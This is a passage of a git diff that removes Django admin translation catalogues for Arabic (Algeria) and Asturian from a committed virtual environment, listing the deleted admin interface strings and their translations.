-#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"حذف %(object_name)s '%(escaped_object)s' سيتسبب أيضاً بحذف العناصر المرتبطة، " -"إلا أن حسابك ليس لديه صلاحية حذف أنواع العناصر التالية:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"متأكد أنك تريد حذف العنصر %(object_name)s \\\"%(escaped_object)s\\\"؟ سيتم " -"حذف جميع العناصر التالية المرتبطة به:" - -msgid "Objects" -msgstr "عناصر" - -msgid "Yes, I’m sure" -msgstr "نعم، أنا متأكد" - -msgid "No, take me back" -msgstr "لا, تراجع للخلف" - -msgid "Delete multiple objects" -msgstr "حذف عدّة عناصر" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"حذف عناصر %(objects_name)s المُحدّدة سيتسبب بحذف العناصر المرتبطة، إلا أن " -"حسابك ليس له صلاحية حذف أنواع العناصر التالية:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"حذف عناصر %(objects_name)s المحدّدة قد يتطلب حذف العناصر المحميّة المرتبطة " -"التالية:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"أأنت متأكد أنك تريد حذف عناصر %(objects_name)s المحددة؟ جميع العناصر التالية " -"والعناصر المرتبطة بها سيتم حذفها:" - -msgid "Delete?" -msgstr "احذفه؟" - -#, python-format -msgid " By %(filter_title)s " -msgstr " حسب %(filter_title)s " - -msgid "Summary" -msgstr "ملخص" - -msgid "Recent actions" -msgstr "آخر الإجراءات" - -msgid "My actions" -msgstr "إجراءاتي" - -msgid "None available" -msgstr "لا يوجد" - -msgid "Unknown content" -msgstr "مُحتوى مجهول" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"هنالك أمر خاطئ في تركيب قاعدة بياناتك، تأكد من أنه تم انشاء جداول قاعدة " -"البيانات الملائمة، وأن قاعدة البيانات قابلة للقراءة من قبل المستخدم الملائم." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"أنت مسجل الدخول بإسم المستخدم %(username)s, ولكنك غير مخول للوصول لهذه " -"الصفحة. هل ترغب بتسجيل الدخول بحساب آخر؟" - -msgid "Forgotten your password or username?" -msgstr "نسيت كلمة المرور أو اسم المستخدم الخاص بك؟" - -msgid "Toggle navigation" -msgstr "تغيير التنقل" - -msgid "Start typing to filter…" -msgstr "ابدأ بالكتابة لبدء التصفية(الفلترة)..." - -msgid "Filter navigation items" -msgstr "تصفية عناصر التنقل" - -msgid "Date/time" -msgstr "التاريخ/الوقت" - -msgid "User" -msgstr "المستخدم" - -msgid "Action" -msgstr "إجراء" - -msgid "entry" -msgstr "" - -msgid "entries" -msgstr "" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"ليس لهذا العنصر سجلّ تغييرات، على الأغلب أنه لم يُنشأ من خلال نظام إدارة " -"الموقع." - -msgid "Show all" -msgstr "أظهر الكل" - -msgid "Save" -msgstr "احفظ" - -msgid "Popup closing…" -msgstr "إغلاق المنبثقة ..." - -msgid "Search" -msgstr "ابحث" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s نتيجة" -msgstr[1] "%(counter)s نتيجة" -msgstr[2] "%(counter)s نتيجة" -msgstr[3] "%(counter)s نتائج" -msgstr[4] "%(counter)s نتيجة" -msgstr[5] "%(counter)s نتيجة" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "المجموع %(full_result_count)s" - -msgid "Save as new" -msgstr "احفظ كجديد" - -msgid "Save and add another" -msgstr "احفظ وأضف آخر" - -msgid "Save and continue editing" -msgstr "احفظ واستمر بالتعديل" - -msgid "Save and view" -msgstr "احفظ ثم اعرض" - -msgid "Close" -msgstr "أغلق" - -#, python-format -msgid "Change selected %(model)s" -msgstr "تغيير %(model)s المختارة" - -#, python-format -msgid "Add another %(model)s" -msgstr "أضف %(model)s آخر" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "حذف %(model)s المختارة" - -#, python-format -msgid "View selected %(model)s" -msgstr "" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "شكرا لأخذك بعض الوقت في الموقع اليوم." - -msgid "Log in again" -msgstr "ادخل مجدداً" - -msgid "Password change" -msgstr "غيّر كلمة مرورك" - -msgid "Your password was changed." -msgstr "تمّ تغيير كلمة مرورك." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"رجاءً أدخل كلمة مرورك القديمة، للأمان، ثم أدخل كلمة مرور الجديدة مرتين كي " -"تتأكّد من كتابتها بشكل صحيح." - -msgid "Change my password" -msgstr "غيّر كلمة مروري" - -msgid "Password reset" -msgstr "استعادة كلمة المرور" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "تم تعيين كلمة مرورك. يمكن الاستمرار وتسجيل دخولك الآن." - -msgid "Password reset confirmation" -msgstr "تأكيد استعادة كلمة المرور" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "رجاءً أدخل كلمة مرورك الجديدة مرتين كي تتأكّد من كتابتها بشكل صحيح." - -msgid "New password:" -msgstr "كلمة المرور الجديدة:" - -msgid "Confirm password:" -msgstr "أكّد كلمة المرور:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"رابط استعادة كلمة المرور غير صحيح، ربما لأنه استُخدم من قبل. رجاءً اطلب " -"استعادة كلمة المرور مرة أخرى." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"تم إرسال بريد إلكتروني بالتعليمات لضبط كلمة المرور الخاصة بك, في حال تواجد " -"حساب بنفس البريد الإلكتروني الذي ادخلته. سوف تستقبل البريد الإلكتروني قريباً" - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"في حال عدم إستقبال البريد الإلكتروني، الرجاء التأكد من إدخال عنوان بريدك " -"الإلكتروني بشكل صحيح ومراجعة مجلد الرسائل غير المرغوب فيها." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"لقد قمت بتلقى هذه الرسالة لطلبك بإعادة تعين كلمة المرور لحسابك الشخصي على " -"%(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "رجاءً اذهب إلى الصفحة التالية واختر كلمة مرور جديدة:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "اسم المستخدم الخاص بك، في حال كنت قد نسيته:" - -msgid "Thanks for using our site!" -msgstr "شكراً لاستخدامك موقعنا!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "فريق %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"هل فقدت كلمة المرور؟ أدخل عنوان بريدك الإلكتروني أدناه وسوف نقوم بإرسال " -"تعليمات للحصول على كلمة مرور جديدة." - -msgid "Email address:" -msgstr "عنوان البريد الإلكتروني:" - -msgid "Reset my password" -msgstr "استعد كلمة مروري" - -msgid "All dates" -msgstr "كافة التواريخ" - -#, python-format -msgid "Select %s" -msgstr "اختر %s" - -#, python-format -msgid "Select %s to change" -msgstr "اختر %s لتغييره" - -#, python-format -msgid "Select %s to view" -msgstr "حدد %s للعرض" - -msgid "Date:" -msgstr "التاريخ:" - -msgid "Time:" -msgstr "الوقت:" - -msgid "Lookup" -msgstr "ابحث" - -msgid "Currently:" -msgstr "حالياً:" - -msgid "Change:" -msgstr "تغيير:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar_DZ/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar_DZ/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 6b419f00..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar_DZ/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar_DZ/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar_DZ/LC_MESSAGES/djangojs.po deleted file mode 100644 index 9e8a4ad1..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ar_DZ/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,280 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jihad Bahmaid Al-Halki, 2022 -# Riterix , 2019-2020 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2022-05-17 05:26-0500\n" -"PO-Revision-Date: 2022-07-25 07:59+0000\n" -"Last-Translator: Jihad Bahmaid Al-Halki\n" -"Language-Team: Arabic (Algeria) (http://www.transifex.com/django/django/" -"language/ar_DZ/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ar_DZ\n" -"Plural-Forms: nplurals=6; plural=n==0 ? 0 : n==1 ? 1 : n==2 ? 2 : n%100>=3 " -"&& n%100<=10 ? 3 : n%100>=11 && n%100<=99 ? 4 : 5;\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s المتوفرة" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"هذه قائمة %s المتوفرة. يمكنك اختيار بعضها بانتقائها في الصندوق أدناه ثم " -"الضغط على سهم الـ\\\"اختيار\\\" بين الصندوقين." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "اكتب في هذا الصندوق لتصفية قائمة %s المتوفرة." - -msgid "Filter" -msgstr "انتقاء" - -msgid "Choose all" -msgstr "اختر الكل" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "اضغط لاختيار جميع %s جملة واحدة." - -msgid "Choose" -msgstr "اختيار" - -msgid "Remove" -msgstr "احذف" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s المختارة" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"هذه قائمة %s المحددة. يمكنك إزالة بعضها باختيارها في الصندوق أدناه ثم اضغط " -"على سهم الـ\\\"إزالة\\\" بين الصندوقين." - -msgid "Remove all" -msgstr "إزالة الكل" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "اضغط لإزالة جميع %s المحددة جملة واحدة." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "لا شي محدد" -msgstr[1] "%(sel)s من %(cnt)s محدد" -msgstr[2] "%(sel)s من %(cnt)s محدد" -msgstr[3] "%(sel)s من %(cnt)s محددة" -msgstr[4] "%(sel)s من %(cnt)s محدد" -msgstr[5] "%(sel)s من %(cnt)s محدد" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"لديك تعديلات غير محفوظة على بعض الحقول القابلة للتعديل. إن نفذت أي إجراء " -"فسوف تخسر تعديلاتك." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"اخترت إجراءً لكن دون أن تحفظ تغييرات التي قمت بها. رجاء اضغط زر الموافقة " -"لتحفظ تعديلاتك. ستحتاج إلى إعادة تنفيذ الإجراء." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "اخترت إجراءً دون تغيير أي حقل. لعلك تريد زر التنفيذ بدلاً من زر الحفظ." - -msgid "Now" -msgstr "الآن" - -msgid "Midnight" -msgstr "منتصف الليل" - -msgid "6 a.m." -msgstr "6 ص." - -msgid "Noon" -msgstr "الظهر" - -msgid "6 p.m." -msgstr "6 مساء" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "ملاحظة: أنت متقدم بـ %s ساعة من وقت الخادم." -msgstr[1] "ملاحظة: أنت متقدم بـ %s ساعة من وقت الخادم." -msgstr[2] "ملاحظة: أنت متقدم بـ %s ساعة من وقت الخادم." -msgstr[3] "ملاحظة: أنت متقدم بـ %s ساعة من وقت الخادم." -msgstr[4] "ملاحظة: أنت متقدم بـ %s ساعة من وقت الخادم." -msgstr[5] "ملاحظة: أنت متقدم بـ %s ساعة من وقت الخادم." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "ملاحظة: أنت متأخر بـ %s ساعة من وقت الخادم." -msgstr[1] "ملاحظة: أنت متأخر بـ %s ساعة من وقت الخادم." -msgstr[2] "ملاحظة: أنت متأخر بـ %s ساعة من وقت الخادم." -msgstr[3] "ملاحظة: أنت متأخر بـ %s ساعة من وقت الخادم." -msgstr[4] "ملاحظة: أنت متأخر بـ %s ساعة من وقت الخادم." -msgstr[5] "ملاحظة: أنت متأخر بـ %s ساعة من وقت الخادم." - -msgid "Choose a Time" -msgstr "إختر وقت " - -msgid "Choose a time" -msgstr "إختر وقت " - -msgid "Cancel" -msgstr "ألغ" - -msgid "Today" -msgstr "اليوم" - -msgid "Choose a Date" -msgstr "إختر تاريخ " - -msgid "Yesterday" -msgstr "أمس" - -msgid "Tomorrow" -msgstr "غداً" - -msgid "January" -msgstr "جانفي" - -msgid "February" -msgstr "فيفري" - -msgid "March" -msgstr "مارس" - -msgid "April" -msgstr "أفريل" - -msgid "May" -msgstr "ماي" - -msgid "June" -msgstr "جوان" - -msgid "July" -msgstr "جويليه" - -msgid "August" -msgstr "أوت" - -msgid "September" -msgstr "سبتمبر" - -msgid "October" -msgstr "أكتوبر" - -msgid "November" -msgstr "نوفمبر" - -msgid "December" -msgstr "ديسمبر" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "يناير" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "فبراير" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "مارس" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "أبريل" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "مايو" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "يونيو" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "يوليو" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "أغسطس" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "سبتمبر" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "أكتوبر" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "نوفمبر" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "ديسمبر" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "ح" - -msgctxt "one letter Monday" -msgid "M" -msgstr "ن" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "ث" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "ع" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "خ" - -msgctxt "one letter Friday" -msgid "F" -msgstr "ج" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "س" - -msgid "" -"You have already submitted this form. Are you sure you want to submit it " -"again?" -msgstr "" - -msgid "Show" -msgstr "أظهر" - -msgid "Hide" -msgstr "اخف" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ast/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ast/LC_MESSAGES/django.mo deleted file mode 100644 index e35811bb..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ast/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ast/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ast/LC_MESSAGES/django.po deleted file mode 100644 index 437b080a..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ast/LC_MESSAGES/django.po +++ /dev/null @@ -1,636 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Ḷḷumex03 , 2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2017-01-19 16:49+0100\n" -"PO-Revision-Date: 2017-09-23 19:51+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Asturian (http://www.transifex.com/django/django/language/" -"ast/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ast\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "desanciáu con ésitu %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Nun pue desaniciase %(name)s" - -msgid "Are you sure?" -msgstr "¿De xuru?" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "" - -msgid "Administration" -msgstr "" - -msgid "All" -msgstr "Too" - -msgid "Yes" -msgstr "Sí" - -msgid "No" -msgstr "Non" - -msgid "Unknown" -msgstr "Desconocíu" - -msgid "Any date" -msgstr "Cualaquier data" - -msgid "Today" -msgstr "Güei" - -msgid "Past 7 days" -msgstr "" - -msgid "This month" -msgstr "Esti mes" - -msgid "This year" -msgstr "Esi añu" - -msgid "No date" -msgstr "" - -msgid "Has date" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" - -msgid "Action:" -msgstr "Aición:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "" - -msgid "Remove" -msgstr "" - -msgid "action time" -msgstr "" - -msgid "user" -msgstr "" - -msgid "content type" -msgstr "" - -msgid "object id" -msgstr "" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/3/library/functions.html#repr) -msgid "object repr" -msgstr "" - -msgid "action flag" -msgstr "" - -msgid "change message" -msgstr "" - -msgid "log entry" -msgstr "" - -msgid "log entries" -msgstr "" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "Amestáu \"%(object)s\"." - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "" - -msgid "LogEntry Object" -msgstr "" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "" - -msgid "Added." -msgstr "" - -msgid "and" -msgstr "y" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "" - -msgid "No fields changed." -msgstr "" - -msgid "None" -msgstr "" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Los oxetos tienen d'usase pa faer aiciones con ellos. Nun se camudó dengún " -"oxetu." - -msgid "No action selected." -msgstr "Nun s'esbilló denguna aición." - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "" - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "Amestar %s" - -#, python-format -msgid "Change %s" -msgstr "" - -msgid "Database error" -msgstr "" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "Esbillaos 0 de %(cnt)s" - -#, python-format -msgid "Change history: %s" -msgstr "" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "" - -msgid "Django administration" -msgstr "" - -msgid "Site administration" -msgstr "" - -msgid "Log in" -msgstr "Aniciar sesión" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "Nun s'alcontró la páxina" - -msgid "We're sorry, but the requested page could not be found." -msgstr "Sentímoslo, pero nun s'alcuentra la páxina solicitada." - -msgid "Home" -msgstr "" - -msgid "Server error" -msgstr "" - -msgid "Server error (500)" -msgstr "" - -msgid "Server Error (500)" -msgstr "" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Hebo un erru. Repotóse al sitiu d'alministradores per corréu y debería " -"d'iguase en pocu tiempu. Gracies pola to paciencia." - -msgid "Run the selected action" -msgstr "Executar l'aición esbillada" - -msgid "Go" -msgstr "Dir" - -msgid "Click here to select the objects across all pages" -msgstr "" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Esbillar too %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Llimpiar esbilla" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" - -msgid "Enter a username and password." -msgstr "" - -msgid "Change password" -msgstr "" - -msgid "Please correct the error below." -msgstr "" - -msgid "Please correct the errors below." -msgstr "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" - -msgid "Welcome," -msgstr "Bienllegáu/ada," - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "Documentación" - -msgid "Log out" -msgstr "" - -#, python-format -msgid "Add %(name)s" -msgstr "" - -msgid "History" -msgstr "" - -msgid "View on site" -msgstr "" - -msgid "Filter" -msgstr "" - -msgid "Remove from sorting" -msgstr "" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "" - -msgid "Toggle sorting" -msgstr "" - -msgid "Delete" -msgstr "" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" - -msgid "Objects" -msgstr "" - -msgid "Yes, I'm sure" -msgstr "" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" - -msgid "Change" -msgstr "" - -msgid "Delete?" -msgstr "" - -#, python-format -msgid " By %(filter_title)s " -msgstr "" - -msgid "Summary" -msgstr "" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "" - -msgid "Add" -msgstr "" - -msgid "You don't have permission to edit anything." -msgstr "" - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "" - -msgid "None available" -msgstr "" - -msgid "Unknown content" -msgstr "" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "" - -msgid "Date/time" -msgstr "" - -msgid "User" -msgstr "" - -msgid "Action" -msgstr "" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" - -msgid "Show all" -msgstr "" - -msgid "Save" -msgstr "" - -msgid "Popup closing..." -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -msgid "Search" -msgstr "" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "" - -msgid "Save as new" -msgstr "" - -msgid "Save and add another" -msgstr "" - -msgid "Save and continue editing" -msgstr "" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "" - -msgid "Log in again" -msgstr "" - -msgid "Password change" -msgstr "" - -msgid "Your password was changed." -msgstr "" - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" - -msgid "Change my password" -msgstr "" - -msgid "Password reset" -msgstr "" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" - -msgid "Password reset confirmation" -msgstr "" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" - -msgid "New password:" -msgstr "" - -msgid "Confirm password:" -msgstr "" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" - -msgid "Please go to the following page and choose a new password:" -msgstr "" - -msgid "Your username, in case you've forgotten:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "" - -#, python-format -msgid "The %(site_name)s team" -msgstr "" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "" - -msgid "Reset my password" -msgstr "" - -msgid "All dates" -msgstr "" - -#, python-format -msgid "Select %s" -msgstr "" - -#, python-format -msgid "Select %s to change" -msgstr "" - -msgid "Date:" -msgstr "Data:" - -msgid "Time:" -msgstr "Hora:" - -msgid "Lookup" -msgstr "" - -msgid "Currently:" -msgstr "Anguaño:" - -msgid "Change:" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ast/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ast/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 7b7e49b7..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ast/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ast/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ast/LC_MESSAGES/djangojs.po deleted file mode 100644 index 53705c70..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ast/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,211 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Ḷḷumex03 , 2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2016-05-17 23:12+0200\n" -"PO-Revision-Date: 2017-09-20 02:41+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Asturian (http://www.transifex.com/django/django/language/" -"ast/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ast\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Disponible %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" - -msgid "Filter" -msgstr "Filtrar" - -msgid "Choose all" -msgstr "Escoyer too" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Primi pa escoyer too %s d'una vegada" - -msgid "Choose" -msgstr "Escoyer" - -msgid "Remove" -msgstr "Desaniciar" - -#, javascript-format -msgid "Chosen %s" -msgstr "Escoyíu %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" - -msgid "Remove all" -msgstr "Desaniciar too" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Primi pa desaniciar tolo escoyío %s d'una vegada" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of 